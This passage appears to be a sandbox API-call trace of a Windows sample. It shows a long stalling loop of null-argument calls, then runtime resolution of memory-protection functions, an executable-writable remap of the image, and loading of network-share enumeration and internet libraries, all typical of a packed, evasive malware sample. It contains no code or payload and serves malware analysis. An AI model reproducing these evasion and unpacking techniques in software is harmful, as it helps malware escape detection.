(lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.692] GetLastError () returned 0x3 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.692] GetLastError () returned 0x3 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.692] GetLastError () returned 0x3 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.692] GetLastError () returned 0x3 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.692] GetLastError () returned 0x3 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.692] GetLastError () returned 0x3 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.692] AddAtomA (lpString=0x0) returned 0x0 [0125.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.693] GetLastError () returned 0x3 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.693] GetLastError () returned 0x3 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.693] GetLastError () returned 0x3 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.693] GetLastError () returned 0x3 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.693] GetLastError () returned 0x3 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] AddAtomA (lpString=0x0) returned 0x0 [0125.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.694] GetLastError () returned 0x3 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.694] GetLastError () returned 0x3 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.694] GetLastError () returned 0x3 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.694] GetLastError () returned 0x3 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.694] GetLastError () returned 0x3 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.694] GetLastError () returned 0x3 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] AddAtomA (lpString=0x0) returned 0x0 [0125.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.695] GetLastError () returned 0x3 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.695] GetLastError () returned 0x3 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.695] GetLastError () returned 0x3 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.695] GetLastError () returned 0x3 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.695] GetLastError () returned 0x3 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.695] GetLastError () returned 0x3 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] AddAtomA (lpString=0x0) returned 0x0 [0125.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.696] GetLastError () returned 0x3 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.696] GetLastError () returned 0x3 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.696] GetLastError () returned 0x3 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.696] GetLastError () returned 0x3 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.696] GetLastError () returned 0x3 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.696] GetLastError () returned 0x3 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.696] AddAtomA (lpString=0x0) returned 0x0 [0125.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.697] GetLastError () returned 0x3 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.697] GetLastError () returned 0x3 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.697] GetLastError () returned 0x3 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.697] GetLastError () returned 0x3 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.697] GetLastError () returned 0x3 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.697] GetLastError () returned 0x3 [0125.697] AddAtomA (lpString=0x0) returned 0x0 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.698] GetLastError () returned 0x3 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.698] GetLastError () returned 0x3 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.698] GetLastError () returned 0x3 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.698] GetLastError () returned 0x3 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] AddAtomA (lpString=0x0) returned 0x0 [0125.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.699] GetLastError () returned 0x3 [0125.699] AddAtomA (lpString=0x0) returned 0x0 [0125.699] AddAtomA (lpString=0x0) returned 0x0 [0125.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.699] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.699] GetLastError () returned 0x3 [0125.699] AddAtomA (lpString=0x0) returned 0x0 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.700] GetLastError () returned 0x3 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.700] GetLastError () returned 0x3 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.700] GetLastError () returned 0x3 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.700] GetLastError () returned 0x3 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.700] GetLastError () returned 0x3 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] AddAtomA (lpString=0x0) returned 0x0 [0125.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.701] GetLastError () returned 0x3 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.701] GetLastError () returned 0x3 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.701] GetLastError () returned 0x3 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.701] GetLastError () returned 0x3 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.701] GetLastError () returned 0x3 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.701] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.701] GetLastError () returned 0x3 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] AddAtomA (lpString=0x0) returned 0x0 [0125.701] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.701] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.702] GetLastError () returned 0x3 [0125.702] AddAtomA (lpString=0x0) returned 0x0 [0125.702] AddAtomA (lpString=0x0) returned 0x0 [0125.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.702] GetLastError () returned 0x3 [0125.702] AddAtomA (lpString=0x0) returned 0x0 [0125.702] AddAtomA (lpString=0x0) returned 0x0 [0125.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.702] GetLastError () returned 0x3 [0125.702] AddAtomA (lpString=0x0) returned 0x0 [0125.702] AddAtomA (lpString=0x0) returned 0x0 [0125.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.702] GetLastError () returned 0x3 [0125.702] AddAtomA (lpString=0x0) returned 0x0 [0125.702] AddAtomA (lpString=0x0) returned 0x0 [0125.702] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.702] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.702] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.815] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x773e0000 [0125.815] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualAlloc") returned 0x773f1856 [0125.815] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualProtect") returned 0x773f435f [0125.815] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualFree") returned 0x773f186e [0125.815] GetProcAddress (hModule=0x773e0000, lpProcName="GetVersionExA") returned 0x773f3519 [0125.815] GetProcAddress (hModule=0x773e0000, lpProcName="TerminateProcess") returned 0x7740d802 [0125.815] GetVersionExA (in: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65636f72, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}¬w") | out: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0125.815] VirtualAlloc (lpAddress=0x0, dwSize=0x4ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0125.821] VirtualProtect (in: lpAddress=0x400000, dwSize=0x6a000, flNewProtect=0x40, lpflOldProtect=0x18fdc8 | out: lpflOldProtect=0x18fdc8*=0x2) returned 1 [0125.884] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.886] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x77150000 [0125.886] GetProcAddress (hModule=0x77150000, lpProcName="RpcStringFreeW") returned 0x77171635 [0125.887] GetProcAddress (hModule=0x77150000, lpProcName="UuidToStringW") returned 0x77191ee5 [0125.887] GetProcAddress (hModule=0x77150000, lpProcName="UuidToStringA") returned 0x771cd918 [0125.887] GetProcAddress (hModule=0x77150000, lpProcName="RpcStringFreeA") returned 0x77193fc5 [0125.887] GetProcAddress (hModule=0x77150000, lpProcName="UuidCreate") returned 0x7716f48b [0125.887] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75380000 [0125.888] GetProcAddress (hModule=0x75380000, lpProcName="WNetCloseEnum") returned 0x75382dd6 [0125.888] GetProcAddress (hModule=0x75380000, lpProcName="WNetOpenEnumW") returned 0x75382f06 [0125.888] GetProcAddress (hModule=0x75380000, lpProcName="WNetEnumResourceW") returned 0x75383058 [0125.888] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75bd0000 [0125.898] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenA") returned 0x75bff18e [0125.898] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetReadFile") returned 0x75beb406 [0125.898] GetProcAddress (hModule=0x75bd0000, lpProcName="HttpQueryInfoW") returned 0x75bf5c75 [0125.898] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetCloseHandle") returned 0x75beab49 [0125.898] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenW") returned 0x75bf9197 [0125.898] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenUrlW") returned 0x75c4be5c [0125.898] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenUrlA") returned 0x75c130f1 [0125.898] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75340000 [0125.900] GetProcAddress (hModule=0x75340000, lpProcName="timeGetTime") returned 0x753426e0 [0125.900] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76e40000 [0125.900] GetProcAddress (hModule=0x76e40000, lpProcName="PathFindExtensionW") returned 0x76e5a1b9 [0125.901] GetProcAddress (hModule=0x76e40000, lpProcName="PathFindFileNameW") 